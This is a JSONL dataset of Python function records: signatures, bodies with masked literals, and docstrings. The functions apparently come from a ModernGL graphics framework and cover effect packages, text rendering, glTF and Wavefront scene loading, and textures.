{"signature": "@property<EOL><INDENT>def window(self) -> BaseWindow:<DEDENT>", "body": "return self._window<EOL>", "docstring": "The :py:class:`Window`", "id": "f14430:c0:m4"}
{"signature": "@property<EOL><INDENT>def ctx(self) -> moderngl.Context:<DEDENT>", "body": "return self._ctx<EOL>", "docstring": "The ModernGL context", "id": "f14430:c0:m5"}
{"signature": "@property<EOL><INDENT>def sys_camera(self) -> camera.SystemCamera:<DEDENT>", "body": "return self._sys_camera<EOL>", "docstring": "The system camera responding to input", "id": "f14430:c0:m6"}
{"signature": "def draw(self, time: float, frametime: float, target: moderngl.Framebuffer):", "body": "raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "Draw function called by the system every frame when the effect is active.\nThis method raises ``NotImplementedError`` unless implemented.\n\nArgs:\n    time (float): The current time in seconds.\n    frametime (float): The time the previous frame used to render in seconds.\n    target (``moderngl.Framebuffer``): The target FBO for the effect.", "id": "f14430:c0:m7"}
{"signature": "def get_program(self, label: str) -> moderngl.Program:", "body": "return self._project.get_program(label)<EOL>", "docstring": "Get a program by its label\n\nArgs:\n    label (str): The label for the program\n\nReturns: py:class:`moderngl.Program` instance", "id": "f14430:c0:m8"}
{"signature": "def get_texture(self, label: str) -> Union[moderngl.Texture, moderngl.TextureArray,<EOL>moderngl.Texture3D, moderngl.TextureCube]:", "body": "return self._project.get_texture(label)<EOL>", "docstring": "Get a texture by its label\n\nArgs:\n    label (str): The Label for the texture\n\nReturns:\n    The py:class:`moderngl.Texture` instance", "id": "f14430:c0:m9"}
{"signature": "def get_track(self, name: str) -> Track:", "body": "return resources.tracks.get(name)<EOL>", "docstring": "Gets or creates a rocket track.\nOnly avaiable when using a Rocket timer.\n\nArgs:\n    name (str): The rocket track name\n\nReturns:\n    The :py:class:`rocket.Track` instance", "id": "f14430:c0:m10"}
{"signature": "def get_scene(self, label: str) -> Scene:", "body": "return self._project.get_scene(label)<EOL>", "docstring": "Get a scene by its label\n\nArgs:\n    label (str): The label for the scene\n\nReturns: The :py:class:`Scene` instance", "id": "f14430:c0:m11"}
{"signature": "def get_data(self, label: str) -> Any:", "body": "return self._project.get_data(label)<EOL>", "docstring": "Get a data instance by its label\n\nArgs:\n    label (str): Label for the data instance\n\nReturns:\n    Contents of the data file", "id": "f14430:c0:m12"}
{"signature": "def get_effect(self, label: str) -> '<STR_LIT>':", "body": "return self._project.get_effect(label)<EOL>", "docstring": "Get an effect instance by label.\n\nArgs:\n    label (str): Label for the data file\n\nReturns: The :py:class:`Effect` instance", "id": "f14430:c0:m13"}
{"signature": "def get_effect_class(self, effect_name: str, package_name: str = None) -> Type['<STR_LIT>']:", "body": "return self._project.get_effect_class(effect_name, package_name=package_name)<EOL>", "docstring": "Get an effect class by the class name\n\nArgs:\n    effect_name (str): Name of the effect class\n\nKeyword Args:\n    package_name (str): The package the effect belongs to. This is optional and only\n                        needed when effect class names are not unique.\n\nReturns:\n    :py:class:`Effect` class", "id": "f14430:c0:m14"}
{"signature": "def create_projection(self, fov: float = <NUM_LIT>, near: float = <NUM_LIT:1.0>, far: float = <NUM_LIT>, aspect_ratio: float = None):", "body": "return matrix44.create_perspective_projection_matrix(<EOL>fov,<EOL>aspect_ratio or self.window.aspect_ratio,<EOL>near,<EOL>far,<EOL>dtype='<STR_LIT>',<EOL>)<EOL>", "docstring": "Create a projection matrix with the following parameters.\nWhen ``aspect_ratio`` is not provided the configured aspect\nratio for the window will be used.\n\nArgs:\n    fov (float): Field of view (float)\n    near (float): Camera near value\n    far (float): Camrea far value\n\nKeyword Args:\n    aspect_ratio (float): Aspect ratio of the viewport\n\nReturns:\n    The projection matrix as a float32 :py:class:`numpy.array`", "id": "f14430:c0:m15"}
{"signature": "def create_transformation(self, rotation=None, translation=None):", "body": "mat = None<EOL>if rotation is not None:<EOL><INDENT>mat = Matrix44.from_eulers(Vector3(rotation))<EOL><DEDENT>if translation is not None:<EOL><INDENT>trans = matrix44.create_from_translation(Vector3(translation))<EOL>if mat is None:<EOL><INDENT>mat = trans<EOL><DEDENT>else:<EOL><INDENT>mat = matrix44.multiply(mat, trans)<EOL><DEDENT><DEDENT>return mat<EOL>", "docstring": "Creates a transformation matrix woth rotations and translation.\n\nArgs:\n    rotation: 3 component vector as a list, tuple, or :py:class:`pyrr.Vector3`\n    translation: 3 component vector as a list, tuple, or :py:class:`pyrr.Vector3`\n\nReturns:\n    A 4x4 matrix as a :py:class:`numpy.array`", "id": "f14430:c0:m16"}
{"signature": "def create_normal_matrix(self, modelview):", "body": "normal_m = Matrix33.from_matrix44(modelview)<EOL>normal_m = normal_m.inverse<EOL>normal_m = normal_m.transpose()<EOL>return normal_m<EOL>", "docstring": "Creates a normal matrix from modelview matrix\n\nArgs:\n    modelview: The modelview matrix\n\nReturns:\n    A 3x3 Normal matrix as a :py:class:`numpy.array`", "id": "f14430:c0:m17"}
{"signature": "def parse_package_string(path):", "body": "parts = path.split('<STR_LIT:.>')<EOL>if parts[-<NUM_LIT:1>][<NUM_LIT:0>].isupper():<EOL><INDENT>return \"<STR_LIT:.>\".join(parts[:-<NUM_LIT:1>]), parts[-<NUM_LIT:1>]<EOL><DEDENT>return path, \"<STR_LIT>\"<EOL>", "docstring": "Parse the effect package string.\nCan contain the package python path or path to effect class in an effect package.\n\nExamples::\n\n    # Path to effect pacakge\n    examples.cubes\n\n    # Path to effect class\n    examples.cubes.Cubes\n\nArgs:\n    path: python path to effect package. May also include effect class name.\n\nReturns:\n    tuple: (package_path, effect_class)", "id": "f14432:m0"}
{"signature": "def get_dirs(self) -> List[str]:", "body": "for package in self.packages:<EOL><INDENT>yield os.path.join(package.path, '<STR_LIT>')<EOL><DEDENT>", "docstring": "Get all effect directories for registered effects.", "id": "f14432:c0:m1"}
{"signature": "def get_effect_resources(self) -> List[Any]:", "body": "resources = []<EOL>for package in self.packages:<EOL><INDENT>resources.extend(package.resources)<EOL><DEDENT>return resources<EOL>", "docstring": "Get all resources registed in effect packages.\nThese are typically located in ``resources.py``", "id": "f14432:c0:m2"}
{"signature": "def polulate(self, package_list):", "body": "for package in package_list:<EOL><INDENT>self.add_package(package)<EOL><DEDENT>", "docstring": "Polulate the registry with effect packages.\n\n:param module_list: List of effect module paths", "id": "f14432:c0:m3"}
{"signature": "def add_package(self, name):", "body": "name, cls_name = parse_package_string(name)<EOL>if name in self.package_map:<EOL><INDENT>return<EOL><DEDENT>package = EffectPackage(name)<EOL>package.load()<EOL>self.packages.append(package)<EOL>self.package_map[package.name] = package<EOL>self.polulate(package.effect_packages)<EOL>", "docstring": "Registers a single package\n\n:param name: (str) The effect package to add", "id": "f14432:c0:m4"}
{"signature": "def get_package(self, name) -> '<STR_LIT>':", "body": "name, cls_name = parse_package_string(name)<EOL>try:<EOL><INDENT>return self.package_map[name]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise EffectError(\"<STR_LIT>\".format(name))<EOL><DEDENT>", "docstring": "Get a package by python path. Can also contain path to an effect.\n\nArgs:\n    name (str): Path to effect package or effect\n\nReturns:\n    The requested EffectPackage\n\nRaises:\n    EffectError when no package is found", "id": "f14432:c0:m5"}
{"signature": "def find_effect_class(self, path) -> Type[Effect]:", "body": "package_name, class_name = parse_package_string(path)<EOL>if package_name:<EOL><INDENT>package = self.get_package(package_name)<EOL>return package.find_effect_class(class_name, raise_for_error=True)<EOL><DEDENT>for package in self.packages:<EOL><INDENT>effect_cls = package.find_effect_class(class_name)<EOL>if effect_cls:<EOL><INDENT>return effect_cls<EOL><DEDENT><DEDENT>raise EffectError(\"<STR_LIT>\".format(class_name))<EOL>", "docstring": "Find an effect class by class name or full python path to class\n\nArgs:\n    path (str): effect class name or full python path to effect class\n\nReturns:\n    Effect class\n\nRaises:\n    EffectError if no class is found", "id": "f14432:c0:m6"}
{"signature": "def runnable_effects(self) -> List[Type[Effect]]:", "body": "return [cls for cls in self.effect_classes if cls.runnable]<EOL>", "docstring": "Returns the runnable effect in the package", "id": "f14432:c1:m1"}
{"signature": "def load_package(self):", "body": "try:<EOL><INDENT>self.package = importlib.import_module(self.name)<EOL><DEDENT>except ModuleNotFoundError:<EOL><INDENT>raise ModuleNotFoundError(\"<STR_LIT>\".format(self.name))<EOL><DEDENT>", "docstring": "FInd the effect package", "id": "f14432:c1:m6"}
{"signature": "def load_effects_classes(self):", "body": "self.effect_classes = []<EOL>for _, cls in inspect.getmembers(self.effect_module):<EOL><INDENT>if inspect.isclass(cls):<EOL><INDENT>if cls == Effect:<EOL><INDENT>continue<EOL><DEDENT>if issubclass(cls, Effect):<EOL><INDENT>self.effect_classes.append(cls)<EOL>self.effect_class_map[cls.__name__] = cls<EOL>cls._name = \"<STR_LIT>\".format(self.effect_module_name, cls.__name__)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Iterate the module attributes picking out effects", "id": "f14432:c1:m8"}
{"signature": "def load_resource_module(self):", "body": "<EOL>try:<EOL><INDENT>name = '<STR_LIT>'.format(self.name, '<STR_LIT>')<EOL>self.dependencies_module = importlib.import_module(name)<EOL><DEDENT>except ModuleNotFoundError as err:<EOL><INDENT>raise EffectError(<EOL>(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>).format(self.name, err))<EOL><DEDENT>try:<EOL><INDENT>self.resources = getattr(self.dependencies_module, '<STR_LIT>')<EOL><DEDENT>except AttributeError:<EOL><INDENT>raise EffectError(\"<STR_LIT>\".format(name))<EOL><DEDENT>if not isinstance(self.resources, list):<EOL><INDENT>raise EffectError(<EOL>\"<STR_LIT>\".format(<EOL>name, type(self.resources)))<EOL><DEDENT>try:<EOL><INDENT>self.effect_packages = getattr(self.dependencies_module, '<STR_LIT>')<EOL><DEDENT>except AttributeError:<EOL><INDENT>raise EffectError(\"<STR_LIT>\".format(name))<EOL><DEDENT>if not isinstance(self.effect_packages, list):<EOL><INDENT>raise EffectError(<EOL>\"<STR_LIT>\".format(<EOL>name, type(self.effects)))<EOL><DEDENT>", "docstring": "Fetch the resource list", "id": "f14432:c1:m9"}
{"signature": "def _translate_string(self, data, length):", "body": "for index, char in enumerate(data):<EOL><INDENT>if index == length:<EOL><INDENT>break<EOL><DEDENT>yield self._meta.characters - <NUM_LIT:1> - self._ct[char]<EOL><DEDENT>", "docstring": "Translate string into character texture positions", "id": "f14433:c1:m2"}
{"signature": "def _generate_character_map(self):", "body": "self._ct = [-<NUM_LIT:1>] * <NUM_LIT><EOL>index = <NUM_LIT:0><EOL>for crange in self._meta.character_ranges:<EOL><INDENT>for cpos in range(crange['<STR_LIT>'], crange['<STR_LIT>'] + <NUM_LIT:1>):<EOL><INDENT>self._ct[cpos] = index<EOL>index += <NUM_LIT:1><EOL><DEDENT><DEDENT>", "docstring": "Generate character translation map (latin1 pos to texture pos)", "id": "f14433:c1:m4"}
{"signature": "def __init__(self, area, text_lines=None, texture_height=<NUM_LIT:64>):", "body": "super().__init__(area, text_lines=text_lines)<EOL>self._texture_height = texture_height<EOL>self._texture_width = <NUM_LIT:0><EOL>self._quad = self._create_vao()<EOL>self._quad_program = self.get_program('<STR_LIT>')<EOL>self._fbo = None<EOL>self._texture_width = int(<EOL>round(self._meta.char_aspect_wh * self._texture_height * self.area[<NUM_LIT:0>] / self.area[<NUM_LIT:1>], <NUM_LIT:0>)<EOL>)<EOL>self.aspect_ratio = self._texture_width / self._texture_height<EOL>self._fbo = self.ctx.framebuffer(self.ctx.texture((self._texture_width, self._texture_height), <NUM_LIT:4>))<EOL>self._fbo_scope = self.ctx.scope(self._fbo)<EOL>", "docstring": ":param area: (x, y) Text area size (number of characters)\n:param size: Text size\n:param text: Initial text", "id": "f14434:c0:m0"}
{"signature": "def __init__(self, area, text_lines=None, aspect_ratio=<NUM_LIT:1.0>):", "body": "super().__init__()<EOL>self.area = area<EOL>self._text_lines = text_lines<EOL>self._projection_bytes = None<EOL>self._aspect_ratio = <NUM_LIT:1.0><EOL>self.aspect_ratio = aspect_ratio<EOL>self._vao = None<EOL>self._config = self.get_data('<STR_LIT>')<EOL>self._texture = self.get_texture('<STR_LIT>')<EOL>self._program = self.get_program('<STR_LIT>')<EOL>self._string_buffer = None<EOL>self._init(FontMeta(self._config))<EOL>self._string_buffer = self.ctx.buffer(reserve=self.area[<NUM_LIT:0>] * <NUM_LIT:4> * self.area[<NUM_LIT:1>])<EOL>self._string_buffer.clear(chunk=b'<STR_LIT>')<EOL>pos = self.ctx.buffer(data=bytes([<NUM_LIT:0>] * <NUM_LIT:4> * <NUM_LIT:3>))<EOL>self._vao = VAO(\"<STR_LIT>\", mode=moderngl.POINTS)<EOL>self._vao.buffer(pos, '<STR_LIT>', '<STR_LIT>')<EOL>self._vao.buffer(self._string_buffer, '<STR_LIT>', '<STR_LIT>', per_instance=True)<EOL>self.text_lines = self._text_lines<EOL>", "docstring": ":param area: (x, y) Text area size (number of characters)\n:param size: Text size\n:param text: Initial text lines", "id": "f14436:c0:m0"}
{"signature": "def import_string(dotted_path):", "body": "try:<EOL><INDENT>module_path, class_name = dotted_path.rsplit('<STR_LIT:.>', <NUM_LIT:1>)<EOL><DEDENT>except ValueError as err:<EOL><INDENT>raise ImportError(\"<STR_LIT>\" % dotted_path) from err<EOL><DEDENT>module = import_module(module_path)<EOL>try:<EOL><INDENT>return getattr(module, class_name)<EOL><DEDENT>except AttributeError as err:<EOL><INDENT>raise ImportError('<STR_LIT>' % (<EOL>module_path,<EOL>class_name)) from err<EOL><DEDENT>", "docstring": "Import a dotted module path and return the attribute/class designated by the\nlast name in the path. Raise ImportError if the import failed.\n\n:param dotted_path: The path to attempt importing\n:return: The object", "id": "f14440:m0"}
{"signature": "def load_shader(self, shader_type: str, path: str):", "body": "if path:<EOL><INDENT>resolved_path = self.find_program(path)<EOL>if not resolved_path:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(shader_type, path))<EOL><DEDENT>print(\"<STR_LIT>\", path)<EOL>with open(resolved_path, '<STR_LIT:r>') as fd:<EOL><INDENT>return fd.read()<EOL><DEDENT><DEDENT>", "docstring": "Load a single shader", "id": "f14442:c0:m1"}
{"signature": "def __init__(self, meta: SceneDescription):", "body": "super().__init__(meta)<EOL>self.scenes = []<EOL>self.nodes = []<EOL>self.meshes = []<EOL>self.materials = []<EOL>self.images = []<EOL>self.samplers = []<EOL>self.textures = []<EOL>self.path = None<EOL>self.scene = None<EOL>", "docstring": "Parse the json file and validate its contents.\nNo actual data loading will happen.\n\nSupported formats:\n- gltf json format with external resources\n- gltf embedded buffers\n- glb Binary format", "id": "f14444:c0:m0"}
{"signature": "def load(self):", "body": "self.path = self.find_scene(self.meta.path)<EOL>if not self.path:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(self.meta.path))<EOL><DEDENT>self.scene = Scene(self.path)<EOL>if self.path.suffix == '<STR_LIT>':<EOL><INDENT>self.load_gltf()<EOL><DEDENT>if self.path.suffix == '<STR_LIT>':<EOL><INDENT>self.load_glb()<EOL><DEDENT>self.meta.check_version()<EOL>self.meta.check_extensions(self.supported_extensions)<EOL>self.load_images()<EOL>self.load_samplers()<EOL>self.load_textures()<EOL>self.load_materials()<EOL>self.load_meshes()<EOL>self.load_nodes()<EOL>self.scene.calc_scene_bbox()<EOL>self.scene.prepare()<EOL>return self.scene<EOL>", "docstring": "Deferred loading of the scene\n\n:param scene: The scene object\n:param file: Resolved path if changed by finder", "id": "f14444:c0:m1"}
{"signature": "def load_gltf(self):", "body": "with open(self.path) as fd:<EOL><INDENT>self.meta = GLTFMeta(self.path, json.load(fd))<EOL><DEDENT>", "docstring": "Loads a gltf json file", "id": "f14444:c0:m2"}
{"signature": "def load_glb(self):", "body": "with open(self.path, '<STR_LIT:rb>') as fd:<EOL><INDENT>magic = fd.read(<NUM_LIT:4>)<EOL>if magic != GLTF_MAGIC_HEADER:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(self.path, magic, GLTF_MAGIC_HEADER))<EOL><DEDENT>version = struct.unpack('<STR_LIT>', fd.read(<NUM_LIT:4>))[<NUM_LIT:0>]<EOL>if version != <NUM_LIT:2>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(self.path, version))<EOL><DEDENT>_ = struct.unpack('<STR_LIT>', fd.read(<NUM_LIT:4>))[<NUM_LIT:0>]  <EOL>chunk_0_length = struct.unpack('<STR_LIT>', fd.read(<NUM_LIT:4>))[<NUM_LIT:0>]<EOL>chunk_0_type = fd.read(<NUM_LIT:4>)<EOL>if chunk_0_type != b'<STR_LIT>':<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(chunk_0_type, self.path))<EOL><DEDENT>json_meta = fd.read(chunk_0_length).decode()<EOL>chunk_1_length = struct.unpack('<STR_LIT>', fd.read(<NUM_LIT:4>))[<NUM_LIT:0>]<EOL>chunk_1_type = fd.read(<NUM_LIT:4>)<EOL>if chunk_1_type != b'<STR_LIT>':<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(chunk_1_type, self.path))<EOL><DEDENT>self.meta = GLTFMeta(self.path, json.loads(json_meta), binary_buffer=fd.read(chunk_1_length))<EOL><DEDENT>", "docstring": "Loads a binary gltf file", "id": "f14444:c0:m3"}
{"signature": "def __init__(self, path, data, binary_buffer=None):", "body": "self.data = data<EOL>self.path = path<EOL>self.asset = GLTFAsset(data['<STR_LIT>'])<EOL>self.materials = [GLTFMaterial(m) for m in data['<STR_LIT>']] if data.get('<STR_LIT>') else []<EOL>self.images = [GLTFImage(i) for i in data['<STR_LIT>']] if data.get('<STR_LIT>') else []<EOL>self.samplers = [GLTFSampler(s) for s in data['<STR_LIT>']] if data.get('<STR_LIT>') else []<EOL>self.textures = [GLTFTexture(t) for t in data['<STR_LIT>']] if data.get('<STR_LIT>') else []<EOL>self.scenes = [GLTFScene(s) for s in data['<STR_LIT>']] if data.get('<STR_LIT>') else []<EOL>self.nodes = [GLTFNode(n) for n in data['<STR_LIT>']] if data.get('<STR_LIT>') else []<EOL>self.meshes = [GLTFMesh(m) for m in data['<STR_LIT>']] if data.get('<STR_LIT>') else []<EOL>self.cameras = [GLTFCamera(c) for c in data['<STR_LIT>']] if data.get('<STR_LIT>') else []<EOL>self.buffer_views = [GLTFBufferView(i, v) for i, v in enumerate(data['<STR_LIT>'])]if data.get('<STR_LIT>') else []<EOL>self.buffers = [GLTFBuffer(i, b, self.path.parent) for i, b in enumerate(data['<STR_LIT>'])]if data.get('<STR_LIT>') else []<EOL>self.accessors = [GLTFAccessor(i, a) for i, a in enumerate(data['<STR_LIT>'])]if data.get('<STR_LIT>') else []<EOL>if binary_buffer:<EOL><INDENT>self.buffers[<NUM_LIT:0>].data = binary_buffer<EOL><DEDENT>self._link_data()<EOL>self.buffers_exist()<EOL>self.images_exist()<EOL>", "docstring": ":param file: GLTF file name loaded\n:param data: Metadata (json loaded)\n:param binary_buffer: Binary buffer when loading glb files", "id": "f14444:c1:m0"}
{"signature": "def _link_data(self):", "body": "<EOL>for acc in self.accessors:<EOL><INDENT>acc.bufferView = self.buffer_views[acc.bufferViewId]<EOL><DEDENT>for buffer_view in self.buffer_views:<EOL><INDENT>buffer_view.buffer = self.buffers[buffer_view.bufferId]<EOL><DEDENT>for mesh in self.meshes:<EOL><INDENT>for primitive in mesh.primitives:<EOL><INDENT>if getattr(primitive, \"<STR_LIT>\", None) is not None:<EOL><INDENT>primitive.indices = self.accessors[primitive.indices]<EOL><DEDENT>for name, value in primitive.attributes.items():<EOL><INDENT>primitive.attributes[name] = self.accessors[value]<EOL><DEDENT><DEDENT><DEDENT>for image in self.images:<EOL><INDENT>if image.bufferViewId is not None:<EOL><INDENT>image.bufferView = self.buffer_views[image.bufferViewId]<EOL><DEDENT><DEDENT>", "docstring": "Add references", "id": "f14444:c1:m1"}
{"signature": "def check_extensions(self, supported):", "body": "if self.data.get('<STR_LIT>'):<EOL><INDENT>for ext in self.data.get('<STR_LIT>'):<EOL><INDENT>if ext not in supported:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(ext))<EOL><DEDENT><DEDENT><DEDENT>if self.data.get('<STR_LIT>'):<EOL><INDENT>for ext in self.data.get('<STR_LIT>'):<EOL><INDENT>if ext not in supported:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(ext))<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "\"extensionsRequired\": [\"KHR_draco_mesh_compression\"],\n\"extensionsUsed\": [\"KHR_draco_mesh_compression\"]", "id": "f14444:c1:m4"}
{"signature": "def buffers_exist(self):", "body": "for buff in self.buffers:<EOL><INDENT>if not buff.is_separate_file:<EOL><INDENT>continue<EOL><DEDENT>path = self.path.parent / buff.uri<EOL>if not os.path.exists(path):<EOL><INDENT>raise FileNotFoundError(\"<STR_LIT>\".format(path, self.path))<EOL><DEDENT><DEDENT>", "docstring": "Checks if the bin files referenced exist", "id": "f14444:c1:m5"}
{"signature": "def images_exist(self):", "body": "pass<EOL>", "docstring": "checks if the images references in textures exist", "id": "f14444:c1:m6"}
{"signature": "def load_indices(self, primitive):", "body": "if getattr(primitive, \"<STR_LIT>\") is None:<EOL><INDENT>return None, None<EOL><DEDENT>_, component_type, buffer = primitive.indices.read()<EOL>return component_type, buffer<EOL>", "docstring": "Loads the index buffer / polygon list for a primitive", "id": "f14444:c3:m2"}
{"signature": "def prepare_attrib_mapping(self, primitive):", "body": "buffer_info = []<EOL>for name, accessor in primitive.attributes.items():<EOL><INDENT>info = VBOInfo(*accessor.info())<EOL>info.attributes.append((name, info.components))<EOL>if buffer_info and buffer_info[-<NUM_LIT:1>].buffer_view == info.buffer_view:<EOL><INDENT>if buffer_info[-<NUM_LIT:1>].interleaves(info):<EOL><INDENT>buffer_info[-<NUM_LIT:1>].merge(info)<EOL>continue<EOL><DEDENT><DEDENT>buffer_info.append(info)<EOL><DEDENT>return buffer_info<EOL>", "docstring": "Pre-parse buffer mappings for each VBO to detect interleaved data for a primitive", "id": "f14444:c3:m3"}
{"signature": "def get_bbox(self, primitive):", "body": "accessor = primitive.attributes.get('<STR_LIT>')<EOL>return accessor.min, accessor.max<EOL>", "docstring": "Get the bounding box for the mesh", "id": "f14444:c3:m4"}
{"signature": "def interleaves(self, info):", "body": "return info.byte_offset == self.component_type.size * self.components<EOL>", "docstring": "Does the buffer interleave with this one?", "id": "f14444:c4:m1"}
{"signature": "def create(self):", "body": "dtype = NP_COMPONENT_DTYPE[self.component_type.value]<EOL>data = numpy.frombuffer(<EOL>self.buffer.read(byte_length=self.byte_length, byte_offset=self.byte_offset),<EOL>count=self.count * self.components,<EOL>dtype=dtype,<EOL>)<EOL>return dtype, data<EOL>", "docstring": "Create the VBO", "id": "f14444:c4:m3"}
{"signature": "def read(self):", "body": "<EOL>dtype = NP_COMPONENT_DTYPE[self.componentType.value]<EOL>return ACCESSOR_TYPE[self.type], self.componentType, self.bufferView.read(<EOL>byte_offset=self.byteOffset,<EOL>dtype=dtype,<EOL>count=self.count * ACCESSOR_TYPE[self.type],<EOL>)<EOL>", "docstring": "Reads buffer data\n:return: component count, component type, data", "id": "f14444:c5:m1"}
{"signature": "def info(self):", "body": "buffer, byte_length, byte_offset = self.bufferView.info(byte_offset=self.byteOffset)<EOL>return buffer, self.bufferView,byte_length, byte_offset,self.componentType, ACCESSOR_TYPE[self.type], self.count<EOL>", "docstring": "Get underlying buffer info for this accessor\n:return: buffer, byte_length, byte_offset, component_type, count", "id": "f14444:c5:m2"}
{"signature": "def info(self, byte_offset=<NUM_LIT:0>):", "body": "return self.buffer, self.byteLength, byte_offset + self.byteOffset<EOL>", "docstring": "Get the underlying buffer info\n:param byte_offset: byte offset from accessor\n:return: buffer, byte_length, byte_offset", "id": "f14444:c6:m3"}
{"signature": "@property<EOL><INDENT>def has_data_uri(self):<DEDENT>", "body": "if not self.uri:<EOL><INDENT>return False<EOL><DEDENT>return self.uri.startswith(\"<STR_LIT>\")<EOL>", "docstring": "Is data embedded in json?", "id": "f14444:c7:m1"}
{"signature": "@property<EOL><INDENT>def is_separate_file(self):<DEDENT>", "body": "return self.uri is not None and not self.has_data_uri<EOL>", "docstring": "Buffer represents an independent bin file?", "id": "f14444:c7:m2"}
{"signature": "@property<EOL><INDENT>def is_resource_node(self):<DEDENT>", "body": "return self.camera is not None or self.mesh is not None<EOL>", "docstring": "Is this just a reference node to a resource?", "id": "f14444:c9:m2"}
{"signature": "def load(self) -> Scene:", "body": "raise NotImplementedError()<EOL>", "docstring": "Load the scene", "id": "f14445:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def supports_file(cls, meta):<DEDENT>", "body": "path = Path(meta.path)<EOL>for ext in cls.file_extensions:<EOL><INDENT>if path.suffixes[:len(ext)] == ext:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Check if the loader has a supported file extension", "id": "f14445:c0:m2"}
{"signature": "def translate_buffer_format(vertex_format):", "body": "buffer_format = []<EOL>attributes = []<EOL>mesh_attributes = []<EOL>if \"<STR_LIT>\" in vertex_format:<EOL><INDENT>buffer_format.append(\"<STR_LIT>\")<EOL>attributes.append(\"<STR_LIT>\")<EOL>mesh_attributes.append((\"<STR_LIT>\", \"<STR_LIT>\", <NUM_LIT:2>))<EOL><DEDENT>if \"<STR_LIT>\" in vertex_format:<EOL><INDENT>buffer_format.append(\"<STR_LIT>\")<EOL>attributes.append(\"<STR_LIT>\")<EOL>mesh_attributes.append((\"<STR_LIT>\", \"<STR_LIT>\", <NUM_LIT:3>))<EOL><DEDENT>if \"<STR_LIT>\" in vertex_format:<EOL><INDENT>buffer_format.append(\"<STR_LIT>\")<EOL>attributes.append(\"<STR_LIT>\")<EOL>mesh_attributes.append((\"<STR_LIT>\", \"<STR_LIT>\", <NUM_LIT:3>))<EOL><DEDENT>buffer_format.append(\"<STR_LIT>\")<EOL>attributes.append(\"<STR_LIT>\")<EOL>mesh_attributes.append((\"<STR_LIT>\", \"<STR_LIT>\", <NUM_LIT:3>))<EOL>return \"<STR_LIT:U+0020>\".join(buffer_format), attributes, mesh_attributes<EOL>", "docstring": "Translate the buffer format", "id": "f14446:m0"}
{"signature": "def load(self):", "body": "path = self.find_scene(self.meta.path)<EOL>if not path:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(self.meta.path))<EOL><DEDENT>if path.suffix == '<STR_LIT>':<EOL><INDENT>path = path.parent / path.stem<EOL><DEDENT>data = pywavefront.Wavefront(str(path), create_materials=True, cache=True)<EOL>scene = Scene(self.meta.resolved_path)<EOL>texture_cache = {}<EOL>for _, mat in data.materials.items():<EOL><INDENT>mesh = Mesh(mat.name)<EOL>if mat.vertices:<EOL><INDENT>buffer_format, attributes, mesh_attributes = translate_buffer_format(mat.vertex_format)<EOL>vbo = numpy.array(mat.vertices, dtype='<STR_LIT>')<EOL>vao = VAO(mat.name, mode=moderngl.TRIANGLES)<EOL>vao.buffer(vbo, buffer_format, attributes)<EOL>mesh.vao = vao<EOL>for attrs in mesh_attributes:<EOL><INDENT>mesh.add_attribute(*attrs)<EOL><DEDENT><DEDENT>elif hasattr(mat, '<STR_LIT>'):<EOL><INDENT>mesh = Mesh(mat.name)<EOL>mesh.vao = mat.vao<EOL>for attrs in mat.mesh_attributes:<EOL><INDENT>mesh.add_attribute(*attrs)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>continue<EOL><DEDENT>scene.meshes.append(mesh)<EOL>mesh.material = Material(mat.name)<EOL>scene.materials.append(mesh.material)<EOL>mesh.material.color = mat.diffuse<EOL>if mat.texture:<EOL><INDENT>texture = texture_cache.get(mat.texture.path)<EOL>if not texture:<EOL><INDENT>print(\"<STR_LIT>\", mat.texture.path)<EOL>texture = textures.load(TextureDescription(<EOL>label=mat.texture.path,<EOL>path=mat.texture.path,<EOL>mipmap=True,<EOL>))<EOL>texture_cache[mat.texture.path] = texture<EOL><DEDENT>mesh.material.mat_texture = MaterialTexture(<EOL>texture=texture,<EOL>sampler=None,<EOL>)<EOL><DEDENT>node = Node(mesh=mesh)<EOL>scene.root_nodes.append(node)<EOL><DEDENT>scene.prepare()<EOL>return scene<EOL>", "docstring": "Deferred loading", "id": "f14446:c1:m1"}
{"signature": "def __init__(self, meta):", "body": "self.meta = meta<EOL>", "docstring": ":param meta: ResourceDescription instance", "id": "f14447:c0:m0"}
{"signature": "def load(self) -> Any:", "body": "raise NotImplementedError()<EOL>", "docstring": "Load a resource\n\n:returns: The newly loaded resource", "id": "f14447:c0:m1"}
{"signature": "def _find_last_of(self, path, finders):", "body": "found_path = None<EOL>for finder in finders:<EOL><INDENT>result = finder.find(path)<EOL>if result:<EOL><INDENT>found_path = result<EOL><DEDENT><DEDENT>return found_path<EOL>", "docstring": "Find the last occurance of the file in finders", "id": "f14447:c0:m6"}
{"signature": "@property<EOL><INDENT>def ctx(self):<DEDENT>", "body": "return context.ctx()<EOL>", "docstring": "ModernGL context", "id": "f14447:c0:m7"}
{"signature": "def load(self):", "body": "self._open_image()<EOL>components, data = image_data(self.image)<EOL>texture = self.ctx.texture(<EOL>self.image.size,<EOL>components,<EOL>data,<EOL>)<EOL>texture.extra = {'<STR_LIT>': self.meta}<EOL>if self.meta.mipmap:<EOL><INDENT>texture.build_mipmaps()<EOL><DEDENT>self._close_image()<EOL>return texture<EOL>", "docstring": "Load a 2d texture", "id": "f14448:c0:m0"}
{"signature": "def image_data(image):", "body": "<EOL>data = image.tobytes()<EOL>components = len(data) // (image.size[<NUM_LIT:0>] * image.size[<NUM_LIT:1>])<EOL>return components, data<EOL>", "docstring": "Get components and bytes for an image", "id": "f14449:m0"}
